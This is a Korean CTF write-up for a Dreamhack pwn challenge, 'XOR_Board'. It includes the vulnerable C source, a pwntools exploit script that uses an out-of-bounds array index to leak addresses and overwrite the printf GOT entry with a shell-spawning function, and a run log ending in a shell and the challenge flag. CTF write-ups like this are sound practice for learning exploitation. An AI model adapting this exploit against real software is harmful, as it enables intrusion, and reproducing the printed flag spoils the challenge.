Description
여기에서는 XOR이 어떻게 동작하는지 배울 수 있어요!
혹시 win
함수를 부르는 방법을 찾을 수 있나요?
checksec
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/XOR_Board/deploy$ checksec ./main [*] '/home/ubuntu/Desktop/dreamhack-CTF/XOR_Board/deploy/main' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Source Code
main.c
// gcc -o main main.c -Wl,-z,norelro #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> uint64_t arr[64] = {0}; void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); for (int i = 0; i < 64; i++) arr[i] = 1ul << i; } void print_menu() { puts("1. XOR two values"); puts("2. Print one value"); printf("> "); } void xor() { int32_t i, j; printf("Enter i & j > "); scanf("%d%d", &i, &j); arr[i] ^= arr[j]; } void print() { uint32_t i; printf("Enter i > "); scanf("%d", &i); printf("Value: %lx\n", arr[i]); } void win() { system("/bin/sh"); } int main() { int option, i, j; initialize(); while (1) { print_menu(); scanf("%d", &option); if (option == 1) { xor(); } else if (option == 2) { print(); } else { break; } } return 0; }
Analysis
initialize
arr[0] ~ arr[64]까지 값이 설정된다.
xor
i, j 변수를 통해 두 인덱스 값을 입력받아
특정 인덱스에 있는 arr 변수의 값을 XOR 연산시킨 값으로 지정할 수 있다.
i 변수를 통해 인덱스 값을 입력받아
특정 인덱스에 있는 arr 변수의 값을 16진수로 출력해준다.
Solution
xor 함수에서 OOB 취약점이 발생한다.
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 22879) #p = process('./main') p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'63 63') p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'63 -7') p.sendlineafter(b'> ', b'2') p.sendlineafter(b'Enter i > ', b'63') bin_base = p.recvline() bin_base = bin_base.split(b'Value: ')[1] bin_base = bin_base.split(b'\n')[0] bin_base = b'0x' + bin_base bin_base = int(bin_base.decode('utf-8'), 16) - 0x3488 print(f"bin_base: {hex(bin_base)}") win = bin_base + 0x13ed print(f"win: {hex(win)}") p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'63 63') p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'63 -16') p.sendlineafter(b'> ', b'2') p.sendlineafter(b'Enter i > ', b'63') printf_got = p.recvline() printf_got = printf_got.split(b'Value: ')[1] printf_got = printf_got.split(b'\n')[0] printf_got = b'0x' + printf_got printf_got = int(printf_got.decode('utf-8'), 16) print(f"printf_got: {hex(printf_got)}") p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'63 -7') p.sendlineafter(b'> ', b'2') p.sendlineafter(b'Enter i > ', b'63') tmp = p.recvline() tmp = tmp.split(b'Value: ')[1] tmp = tmp.split(b'\n')[0] tmp = b'0x' + tmp tmp = int(tmp.decode('utf-8'), 16) print(f"tmp: {hex(tmp)}") print(f"to make xor: {hex(win ^ printf_got)}") print(f"to make xor2: {hex(win ^ printf_got ^ tmp)}") val = win ^ printf_got ^ tmp val = int(val/2) k=0 while True: if k == 0: k+=1 continue if val % 2 == 1: print((k)) p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'0 ' + str(k).encode('utf-8')) val = int(val/2) if val <= 0: break k+=1 #0x6765 # p.sendlineafter(b'> ', b'1') # p.sendlineafter(b'Enter i & j > ', b'0 2') #1 ^ 4 # p.sendlineafter(b'> ', b'1') # p.sendlineafter(b'Enter i & j > ', b'0 5') #1 ^ 4 ^ 0x20 # p.sendlineafter(b'> ', b'1') # p.sendlineafter(b'Enter i & j > ', b'0 6') #1 ^ 4 ^ 0x20 ^ 0x40 # p.sendlineafter(b'> ', b'1') # p.sendlineafter(b'Enter i & j > ', b'0 8') #1 ^ 4 ^ 0x20 ^ 0x40 ^ 0x100 # p.sendlineafter(b'> ', b'1') # p.sendlineafter(b'Enter i & j > ', b'0 9') #... ^ 0x200 # p.sendlineafter(b'> ', b'1') # p.sendlineafter(b'Enter i & j > ', b'0 10') #... ^ 0x400 # p.sendlineafter(b'> ', b'1') # p.sendlineafter(b'Enter i & j > ', b'0 13') #... ^ 0x2000 # p.sendlineafter(b'> ', b'1') # p.sendlineafter(b'Enter i & j > ', b'0 14') #... ^ 0x4000 p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'62 62') p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'62 63') p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'62 0') p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Enter i & j > ', b'-16 62') p.interactive()
Result
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/XOR_Board/deploy$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 22879: Done bin_base: 0x561bbf32a000 win: 0x561bbf32b3ed printf_got: 0x7fb011fb2770 tmp: 0x29abaec9f3f8 to make xor: 0x29abaec9949d to make xor2: 0x6765 2 5 6 8 9 10 13 14 [*] Switching to interactive mode 1. XOR two values 2. Print one value $ ls flag main $ cat flag DH{8475338cdd6114aad8f4c04264f523c3037d245e641118e2a7afe66710f469f4} $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 22879